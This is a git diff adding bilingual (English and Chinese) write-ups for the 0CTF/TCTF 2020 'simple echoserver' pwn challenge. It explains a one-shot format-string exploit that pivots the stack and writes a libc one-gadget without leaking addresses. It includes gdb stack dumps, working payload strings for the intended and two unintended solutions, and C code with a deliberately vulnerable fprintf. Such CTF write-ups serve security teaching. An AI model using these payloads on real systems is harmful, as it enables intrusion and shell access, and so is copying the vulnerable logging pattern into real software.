diff --git a/0CTF_TCTF-2020-Quals/simple_echoserver/README.md b/0CTF_TCTF-2020-Quals/simple_echoserver/README.md
index e69de29..bfe85d0 100644
--- a/0CTF_TCTF-2020-Quals/simple_echoserver/README.md
+++ b/0CTF_TCTF-2020-Quals/simple_echoserver/README.md
@@ -0,0 +1,8 @@
+# simple echoserver
+
+A PWN challenge in 0CTF/TCTF 2020 Quals
+
+
+Writeup:
+* [English](./writeup/writeup_en.md)
+* [中文](./writeup/writeup_zh.md)
diff --git a/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_en.md b/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_en.md
index e69de29..b1d6ff6 100644
--- a/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_en.md
+++ b/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_en.md
@@ -0,0 +1,178 @@
+# Writeup
+
+## Overview
+
+No special knowledge needed to solve this challenge, it is only a combination of some small tricks.
+
+It is obvious that sub_13C1 (loginfo) contains a format-string-vulnerability, but nothing can be leaked because stderr is redirected to /dev/null on remote server.
+Also, the format string vulnerability is only triggered once.
+
+The binary is x86_64 elf file and full-protected (Full RELRO + PIE + NX enabled).
+Remote environment is Ubuntu 18.04 with [glibc 2.27](http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb)
+
+## Intended Solution
+
+The intend solution is to get shell with **only one use** of format string attack **without leaking** address.
+
+Break at 0x1415 (just before the vulnerable fprintf), the stack looks like this:
+
+```
+00:0000│ rsp 0x7fffffffe150 ◂— 0x0
+01:0008│ 0x7fffffffe158 —▸ 0x555555558160 (global_userinfo) ◂— 0x636261 /* 'abc' */
+02:0010│ rbp 0x7fffffffe160 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+03:0018│ 0x7fffffffe168 —▸ 0x555555555443 (serve+38) ◂— lea rdi, [rip + 0xc5b]
+04:0020│ 0x7fffffffe170 ◂— 0x0
+... ↓
+06:0030│ 0x7fffffffe180 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+07:0038│ 0x7fffffffe188 —▸ 0x7ffff7dcfa00 (_IO_2_1_stdin_) ◂— 0xfbad208b
+08:0040│ 0x7fffffffe190 ◂— 0xd68 /* 'h\r' */
+09:0048│ 0x7fffffffe198 —▸ 0x7ffff7a71148 (__GI__IO_file_underflow+296) ◂— test rax, rax
+0a:0050│ 0x7fffffffe1a0 ◂— 0xf705fa00
+0b:0058│ 0x7fffffffe1a8 ◂— 0xffffffffffffffff
+0c:0060│ 0x7fffffffe1b0 —▸ 0x5555555550f0 (_start) ◂— endbr64
+0d:0068│ 0x7fffffffe1b8 ◂— 0xa /* '\n' */
+0e:0070│ 0x7fffffffe1c0 —▸ 0x7fffffffe260 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— ...
+0f:0078│ 0x7fffffffe1c8 —▸ 0x5555555550f0 (_start) ◂— endbr64
+10:0080│ 0x7fffffffe1d0 —▸ 0x7fffffffe380 ◂— 0x1
+11:0088│ 0x7fffffffe1d8 ◂— 0x0
+... ↓
+13:0098│ 0x7fffffffe1e8 —▸ 0x555555555348 (readlong+127) ◂— mov rcx, qword ptr [rbp - 0x18]
+14:00a0│ 0x7fffffffe1f0 —▸ 0x7ffff7dcfa00 (_IO_2_1_stdin_) ◂— 0xfbad208b
+15:00a8│ 0x7fffffffe1f8 —▸ 0x7fffffffe203 ◂— 0xffe3800000000000
+16:00b0│ 0x7fffffffe200 ◂— 0x333231 /* '123' */
+17:00b8│ 0x7fffffffe208 —▸ 0x7fffffffe380 ◂— 0x1
+18:00c0│ 0x7fffffffe210 ◂— 0x0
+19:00c8│ 0x7fffffffe218 —▸ 0x7ffff7a723f2 (_IO_default_uflow+50) ◂— cmp eax, -1
+1a:00d0│ 0x7fffffffe220 ◂— 0x36 /* '6' */
+1b:00d8│ 0x7fffffffe228 —▸ 0x555555558163 (global_userinfo+3) ◂— 0x0
+1c:00e0│ 0x7fffffffe230 —▸ 0x7fffffffe260 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— ...
+1d:00e8│ 0x7fffffffe238 —▸ 0x55555555528d (readline+39) ◂— mov r12d, eax
+1e:00f0│ 0x7fffffffe240 ◂— 0x10055556029 /* ')`UU' */
+1f:00f8│ 0x7fffffffe248 ◂— 0xc700f7c4629bc400
+20:0100│ 0x7fffffffe250 ◂— 0x0
+... ↓
+22:0110│ 0x7fffffffe260 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+23:0118│ 0x7fffffffe268 —▸ 0x5555555553b3 (getuserinfo+80) ◂— mov rdx, qword ptr [rbp - 8]
+24:0120│ 0x7fffffffe270 —▸ 0x7fffffffe380 ◂— 0x1
+25:0128│ 0x7fffffffe278 ◂— 0xc700f7c4629bc400
+26:0130│ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+27:0138│ 0x7fffffffe288 —▸ 0x5555555554d0 (main+30) ◂— mov eax, 0
+28:0140│ 0x7fffffffe290 —▸ 0x7fffffffe380 ◂— 0x1
+29:0148│ 0x7fffffffe298 ◂— 0x0
+2a:0150│ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+2b:0158│ 0x7fffffffe2a8 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
+2c:0160│ 0x7fffffffe2b0 ◂— 0x1
+2d:0168│ 0x7fffffffe2b8 —▸ 0x7fffffffe388 —▸ 0x7fffffffe61f ◂— '/root/simple_echoserver'
+2e:0170│ 0x7fffffffe2c0 ◂— 0x100008000
+2f:0178│ 0x7fffffffe2c8 —▸ 0x5555555554b2 (main) ◂— push rbp
+30:0180│ 0x7fffffffe2d0 ◂— 0x0
+31:0188│ 0x7fffffffe2d8 ◂— 0x224c5df7bd9bad4d
+32:0190│ 0x7fffffffe2e0 —▸ 0x5555555550f0 (_start) ◂— endbr64
+33:0198│ 0x7fffffffe2e8 —▸ 0x7fffffffe380 ◂— 0x1
+34:01a0│ 0x7fffffffe2f0 ◂— 0x0
+... ↓
+36:01b0│ 0x7fffffffe300 ◂— 0x771908a2d13bad4d
+
+```
+
+Current call stack is main->sub_141D(serve)->sub_13C1(loginfo), and 0x7fffffffe160—>0x7fffffffe280—>0x7fffffffe2a0 is the RBP chain.
+
+First, we can do **stack pivot**: use %7$hhn as format string to change the lowest byte in 0x7fffffffe280. After two "leave" instructions (just before function main returns), the changed value will move into RSP.
+Now, if we can leave an one-gadget address on stack and stack pivot to there, we can get shell.
+
+The "field width" in format string can not only be decimal integer, but also **"\*"** or **"\*m$"** which means picking value from argument.
+So we can **pick a libc address from stack as a field width and combine with another constant field width to do an addition**, then write the result back on stack using "%n". By this method there is no need to leak address.
+(stderr is /dev/null, so write several GB bytes is fast)
+
+The field width and output length of printf should not overflow INT_MAX (0x7fffffff), or "%n" will fail to write. This means we can only control the lower 4 bytes by above method, so the higher 4 bytes of the origin value in "%n" target should locate in libc area.
+
+Notice the value in 0x7fffffffe1f8 is a pointer points to stack. It can be adjusted by controlling the input length in sub_12C9(readlong). If **the length of "Your phone: " input is 24**, its value will become 0x7fffffffe218, and 0x7fffffffe218 contains a libc address.
+Now we get **a pointer on stack that points a libc address**, and above method can be used.
+
+After stack pivot to 0x7fffffffe210 and rewrite 0x7fffffffe218 to one-gadget, all three default gadgets shows by ```one_gadget libc-2.27.so``` seems unsatisfied:
+```
+0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
+constraints:
+ rsp & 0xf == 0
+ rcx == NULL
+
+0x4f322 execve("/bin/sh", rsp+0x40, environ)
+constraints:
+ [rsp+0x40] == NULL
+
+0x10a38c execve("/bin/sh", rsp+0x70, environ)
+constraints:
+ [rsp+0x70] == NULL
+```
+
+Use ```one_gadget -l 1 libc-2.27.so``` to search more gadgets, then find 0xe5863 is satisfied when function main returns:
+```
+0xe5863 execve("/bin/sh", r10, rdx)
+constraints:
+ [r10] == NULL || r10 == NULL
+ [rdx] == NULL || rdx == NULL
+```
+
+> Actually, the 0x10a38c one-gadget is also satisfied.
+> Although \[rsp+0x70\] (\[0x7fffffffe290\]) is 0x7fffffffe380, not NULL, but \[rsp+0x70\] is a readable address and \[rsp+0x78\] is NULL, then when execve "/bin/sh" is called, argv\[0\] is valid and argv\[1\] is NULL.
+
+Final exp: (Full script is [exp.py](./exp.py))
+```
+Your name: %3c%7$hhn%357715c%*30$c%26$n
+Your phone: 000000000000000000000000
+```
+
+> With this input, the stack is:
+> (break at 0x1415)
+> ```
+> 7$: 02:0010│ rbp 0x7fffffffe160 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0
+> 30$: 19:00c8│ 0x7fffffffe218 —▸ 0x7ffff7a72300
+> 26$: 15:00a8│ 0x7fffffffe1f8 —▸ 0x7fffffffe218 —▸ 0x7ffff7a72300
+> ```
+
+Success rate: 1/32
+(1/16 to guess half byte of stack address for stack pivot, 1/2 to meet the lower 4 bytes of libc address within \[0, 0x7ffffffff\] for "%n")
+
+
+## Other
+
+Due to my carelessness, there are several unintended solutions for this challenge.
+(Only two teams use the intended solution)
+
+The "vfprintf" function scans format-string from left to right and handles each **immediately** without copying the arguments before it meets the **first** positional parameter ("$"), so the prior "%n" can change the later arguments.
+When "vfprintf" **firstly meets a positional parameter**, it **copies all needed arguments into an internal buffer**. After this time, the prior "%n" cannot change the later arguments anymore.
+
+With the "pointer to stack" value on stack (e.g. 0x7fffffffe160 —▸ 0x7fffffffe280), we can firstly change the last byte of the value to let it point to any position of stack before using "$" in format-string, then use the changed value to modify value at any stack address.
+Here is a example: (with a success rate of 1/32)
+```
+Your name: %c%c%c%c%c%150c%hhn%801828c%*48$c%43$n%61c%7$hhn
+```
+The "%hhn" uses the 7th argument (0x7fffffffe160 —▸ 0x7fffffffe280) to change the value in 0x7fffffffe280 from 0x7fffffffe2a0 to 0x7fffffffe2a8(where stores the return address of function main).
+Then the "%\*48$c" picks the value in 0x7fffffffe2a8 (__libc_start_main_ret), and the "%43$n" uses the pointer in 0x7fffffffe280 to change the value in 0x7fffffffe2a8 to one-gadget 0xe5863.
+The last "%7$hhn" restores the value in 0x7fffffffe280 with 0x7fffffffe2a0 to keep the RBP chain correct.
+
+
+
+Another method does not make use of "\*" in field width. Notice the address of function \_start is at 0x7fffffffe1c8, just do stack pivot to 0x7fffffffe1c0, the program will restart when function main returns, so we can do format-string attack repeatedly.
+In different loop, change a "pointer to stack" pointer value and partially rewrite a program address to &stderr (binary offset 0x4040), the partially rewrite stderr to stdout. Now we can leak address.
+Success rate of this method is 1/4096 (need to guess half byte of stack address, half byte of program address and half byte of libc address).
+
+
+
+> If I understood such unintended solutions earlier during the event, maybe I would release a new "Simple Echoserver V2" challenge that limits the input length of "Your name: " into 32 (currently is 256) and only allows to call the vulnerable fprintf once, like this:
+> ```
+> void getuserinfo(struct userinfo *info) {
+> puts("For audit, please provide your name and phone number: ");
+> printf("Your name: ");
+> // readline(info->name, 256);
+> readline(info->name, 32); // 32 bytes is enough
+> printf("Your phone: ");
+> info->phone = readlong();
+> }
+>
+> void loginfo(struct userinfo *info) {
+> snprintf(global_buf, BUF_LEN, "[USER] name: %s; phone: %ld\n", info->name, info->phone);
+> fprintf(stderr, global_buf); // vuln!
+> stderr = NULL; // only log once
+> }
+> ```
diff --git a/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_zh.md b/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_zh.md
index e69de29..16894ca 100644
--- a/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_zh.md
+++ b/0CTF_TCTF-2020-Quals/simple_echoserver/writeup/writeup_zh.md
@@ -0,0 +1,177 @@
+# Writeup
+
+## 概述
+
+(本题只是一些小伎俩,不像本次比赛其他几道PWN题那样硬核)
+
+sub_13C1 (loginfo) 函数有一个明显的格式化字符串漏洞,但是只触发了一次,而且远程环境的stderr被重定向到了/dev/null,因此无法泄露。
+
+程序是64位的ELF文件,保护全开(Full RELRO + PIE + NX enabled)。
+远程环境是 Ubuntu 18.04,[glibc 2.27](http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb)。
+
+## 预期解
+
+预期解是在**无泄漏**的情况下**只利用一次**格式化字符串漏洞获得shell。
+
+在0x1415处下断点(fprintf之前),观察此时栈的情况:
+```
+00:0000│ rsp 0x7fffffffe150 ◂— 0x0
+01:0008│ 0x7fffffffe158 —▸ 0x555555558160 (global_userinfo) ◂— 0x636261 /* 'abc' */
+02:0010│ rbp 0x7fffffffe160 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+03:0018│ 0x7fffffffe168 —▸ 0x555555555443 (serve+38) ◂— lea rdi, [rip + 0xc5b]
+04:0020│ 0x7fffffffe170 ◂— 0x0
+... ↓
+06:0030│ 0x7fffffffe180 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+07:0038│ 0x7fffffffe188 —▸ 0x7ffff7dcfa00 (_IO_2_1_stdin_) ◂— 0xfbad208b
+08:0040│ 0x7fffffffe190 ◂— 0xd68 /* 'h\r' */
+09:0048│ 0x7fffffffe198 —▸ 0x7ffff7a71148 (__GI__IO_file_underflow+296) ◂— test rax, rax
+0a:0050│ 0x7fffffffe1a0 ◂— 0xf705fa00
+0b:0058│ 0x7fffffffe1a8 ◂— 0xffffffffffffffff
+0c:0060│ 0x7fffffffe1b0 —▸ 0x5555555550f0 (_start) ◂— endbr64
+0d:0068│ 0x7fffffffe1b8 ◂— 0xa /* '\n' */
+0e:0070│ 0x7fffffffe1c0 —▸ 0x7fffffffe260 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— ...
+0f:0078│ 0x7fffffffe1c8 —▸ 0x5555555550f0 (_start) ◂— endbr64
+10:0080│ 0x7fffffffe1d0 —▸ 0x7fffffffe380 ◂— 0x1
+11:0088│ 0x7fffffffe1d8 ◂— 0x0
+... ↓
+13:0098│ 0x7fffffffe1e8 —▸ 0x555555555348 (readlong+127) ◂— mov rcx, qword ptr [rbp - 0x18]
+14:00a0│ 0x7fffffffe1f0 —▸ 0x7ffff7dcfa00 (_IO_2_1_stdin_) ◂— 0xfbad208b
+15:00a8│ 0x7fffffffe1f8 —▸ 0x7fffffffe203 ◂— 0xffe3800000000000
+16:00b0│ 0x7fffffffe200 ◂— 0x333231 /* '123' */
+17:00b8│ 0x7fffffffe208 —▸ 0x7fffffffe380 ◂— 0x1
+18:00c0│ 0x7fffffffe210 ◂— 0x0
+19:00c8│ 0x7fffffffe218 —▸ 0x7ffff7a723f2 (_IO_default_uflow+50) ◂— cmp eax, -1
+1a:00d0│ 0x7fffffffe220 ◂— 0x36 /* '6' */
+1b:00d8│ 0x7fffffffe228 —▸ 0x555555558163 (global_userinfo+3) ◂— 0x0
+1c:00e0│ 0x7fffffffe230 —▸ 0x7fffffffe260 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— ...
+1d:00e8│ 0x7fffffffe238 —▸ 0x55555555528d (readline+39) ◂— mov r12d, eax
+1e:00f0│ 0x7fffffffe240 ◂— 0x10055556029 /* ')`UU' */
+1f:00f8│ 0x7fffffffe248 ◂— 0xc700f7c4629bc400
+20:0100│ 0x7fffffffe250 ◂— 0x0
+... ↓
+22:0110│ 0x7fffffffe260 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+23:0118│ 0x7fffffffe268 —▸ 0x5555555553b3 (getuserinfo+80) ◂— mov rdx, qword ptr [rbp - 8]
+24:0120│ 0x7fffffffe270 —▸ 0x7fffffffe380 ◂— 0x1
+25:0128│ 0x7fffffffe278 ◂— 0xc700f7c4629bc400
+26:0130│ 0x7fffffffe280 —▸ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+27:0138│ 0x7fffffffe288 —▸ 0x5555555554d0 (main+30) ◂— mov eax, 0
+28:0140│ 0x7fffffffe290 —▸ 0x7fffffffe380 ◂— 0x1
+29:0148│ 0x7fffffffe298 ◂— 0x0
+2a:0150│ 0x7fffffffe2a0 —▸ 0x5555555554e0 (__libc_csu_init) ◂— endbr64
+2b:0158│ 0x7fffffffe2a8 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
+2c:0160│ 0x7fffffffe2b0 ◂— 0x1
+2d:0168│ 0x7fffffffe2b8 —▸ 0x7fffffffe388 —▸ 0x7fffffffe61f ◂— '/root/simple_echoserver'
+2e:0170│ 0x7fffffffe2c0 ◂— 0x100008000
+2f:0178│ 0x7fffffffe2c8 —▸ 0x5555555554b2 (main) ◂— push rbp
+30:0180│ 0x7fffffffe2d0 ◂— 0x0
+31:0188│ 0x7fffffffe2d8 ◂— 0x224c5df7bd9bad4d
+32:0190│ 0x7fffffffe2e0 —▸ 0x5555555550f0 (_start) ◂— endbr64
+33:0198│ 0x7fffffffe2e8 —▸ 0x7fffffffe380 ◂— 0x1
+34:01a0│ 0x7fffffffe2f0 ◂— 0x0
+... ↓
+36:01b0│ 0x7fffffffe300 ◂— 0x771908a2d13bad4d
+
+```
+
+当前函数调用栈是 main->sub_141D(serve)->sub_13C1(loginfo), 0x7fffffffe160—>0x7fffffffe280—>0x7fffffffe2a0 是RBP链。
+
+利用这个RBP链可以进行**栈迁移**:通过%7$hhn修改0x7fffffffe280处的最低字节,经过两次"leave"指令之后(恰好在main函数返回之前),修改后的值被移入RSP。
+如果能在栈上布置一个one-gadget地址,那么只需栈迁移到这里即可得到shell。
+
+格式化字符串的输出宽度(field width)可以是一个整数,也可以用 **"\*"** 或 **"\*m$"** 表示从参数中读取。
+所以可以从栈里取一个libc的地址作为宽度然后接上一个常数宽度的格式化串,实现**libc地址+固定偏移**,然后利用"%n"写回栈里,这样就无需泄露地址了。
+(这个过程可能会输出几个GB的数据,但stderr已被重定向到/dev/null,所以速度很快)
+
+输出宽度以及printf的输出长度不能超过int类型的最大值(0x7fffffff),否则"%n"的写入会失败。
+所以上面的方法只能控制低4个字节的写入,需要找到一个高4个字节位于libc范围内的值的地址的作为写入的目标地址。
+
+注意到0x7fffffffe1f8处的值是指向栈的指针,这个值可以通过控制sub_12C9(readlong)函数的输入长度来改变。如果 **"Your phone: "的输入长度为24** ,这个值会指向0x7fffffffe218,而0x7fffffffe218处是一个libc地址。
+现在 **在栈上得到了一个指向libc地址的指针** ,可以使用上面的方法了。
+
+把0x7fffffffe218的值修改为one-gadget并完成栈迁移之后,```one_gadget libc-2.27.so``` 给出的三个gadget看起来都不满足:
+```
+0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
+constraints:
+ rsp & 0xf == 0
+ rcx == NULL
+
+0x4f322 execve("/bin/sh", rsp+0x40, environ)
+constraints:
+ [rsp+0x40] == NULL
+
+0x10a38c execve("/bin/sh", rsp+0x70, environ)
+constraints:
+ [rsp+0x70] == NULL
+```
+
+用 ```one_gadget -l 1 libc-2.27.so``` 搜索更多的gadgets,可以发现 0xe5863 满足条件(在main函数返回时):
+```
+0xe5863 execve("/bin/sh", r10, rdx)
+constraints:
+ [r10] == NULL || r10 == NULL
+ [rdx] == NULL || rdx == NULL
+```
+
+> 0x10a38c 的 one-gadget 也可以用。
+> 虽然 \[rsp+0x70\] (\[0x7fffffffe290\]) 是 0x7fffffffe380 不是 NULL, 但是 \[rsp+0x70\] 的值是一个指向可读内存的指针 且 \[rsp+0x78\] 是 NULL, 这样在 execve "/bin/sh" 调用时, argv\[0\] 有效且 argv\[1\] 是 NULL。
+
+最终的 exp: (完整脚本在 [exp.py](./exp.py))
+```
+Your name: %3c%7$hhn%357715c%*30$c%26$n
+Your phone: 000000000000000000000000
+```
+
+> 这里栈的情况如下:
+> (断点在0x1415)
+> ```
+> 7$: 02:0010│ rbp 0x7fffffffe160 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2a0
+> 30$: 19:00c8│ 0x7fffffffe218 —▸ 0x7ffff7a72300
+> 26$: 15:00a8│ 0x7fffffffe1f8 —▸ 0x7fffffffe218 —▸ 0x7ffff7a72300
+> ```
+
+成功率:1/32
+(栈迁移需要爆破栈地址半个字节,1/16概率;"\*" + "%n" 方法需要 libc 低4个字节位于signed int的正数范围内,1/2 概率 )
+
+
+## 其他
+
+题目没有出好造成了很多非预期解……
+(比赛中只有两个队是用预期解做出来的)
+
+vfprintf函数按顺序扫描并**立即**处理格式化字符串,在遇到**首个**"$"之前不复制参数,所以前面的"%n"可以修改后面的参数。
+当vfprintf遇到首个位置参数"$"时,vfprintf把**所有需要用到的参数都复制到了内部的缓冲区中**。从这之后,前面的"%n"不再会对后面的参数产生影响。
+
+借助栈里指向栈地址的指针(如 0x7fffffffe160 —▸ 0x7fffffffe280),可以先修改指向的栈地址的最后一个字节让它指向目标栈地址(在格式化字符串的首个"$"之前完成),然后通过修改后的栈地址修改目标栈地址处的值。
+这是一个例子:(1/32的成功率)
+```
+Your name: %c%c%c%c%c%150c%hhn%801828c%*48$c%43$n%61c%7$hhn
+```
+"%hhn"通过第7个参数(0x7fffffffe160 —▸ 0x7fffffffe280)把 0x7fffffffe280 里的值 从 0x7fffffffe2a0 改为 0x7fffffffe2a8(0x7fffffffe2a8里保存着main函数的返回地址)。
+然后"%\*48$c"从0x7fffffffe2a8(__libc_start_main_ret)取值作为宽度,"%43$n" 通过 0x7fffffffe280 里的指针修改 0x7fffffffe2a8 处的值为 0xe5863 的 one-gadget。
+最后的"%7$hhn"恢复0x7fffffffe280处的值为0x7fffffffe2a0,保持RBP链的正确从而能正常返回到main函数。
+
+
+
+另一中方法不需要利用格式化字符串的"\*"。注意到栈里(0x7fffffffe1c8)有_start函数的地址,只需栈迁移到 0x7fffffffe1c0,main函数返回时就会重新进入_start,从而无限多次利用程序里的格式化字符串漏洞。
+之后可以分步修改一个指向栈的指针,然后部分修改栈上残留的程序地址为stderr的地址(相对于程序基地址偏移0x4040),再部分修改stderr为stdout即可进行泄露。
+这种方法成功率为1/4096,需要爆破半字节栈地址、半字节程序地址和半字节libc地址。
+
+
+
+> 如果比赛期间早点搞明白这几个非预期,可能第二天会放一道Simple Echoserver V2,把"Your name: "的输入长度从256缩小到32,同时只允许调用一次有漏洞的fprintf:
+> ```
+> void getuserinfo(struct userinfo *info) {
+> puts("For audit, please provide your name and phone number: ");
+> printf("Your name: ");
+> // readline(info->name, 256);
+> readline(info->name, 32); // 32 bytes is enough
+> printf("Your phone: ");
+> info->phone = readlong();
+> }
+>
+> void loginfo(struct userinfo *info) {
+> snprintf(global_buf, BUF_LEN, "[USER] name: %s; phone: %ld\n", info->name, info->phone);
+> fprintf(stderr, global_buf); // vuln!
+> stderr = NULL; // only log once
+> }
+> ```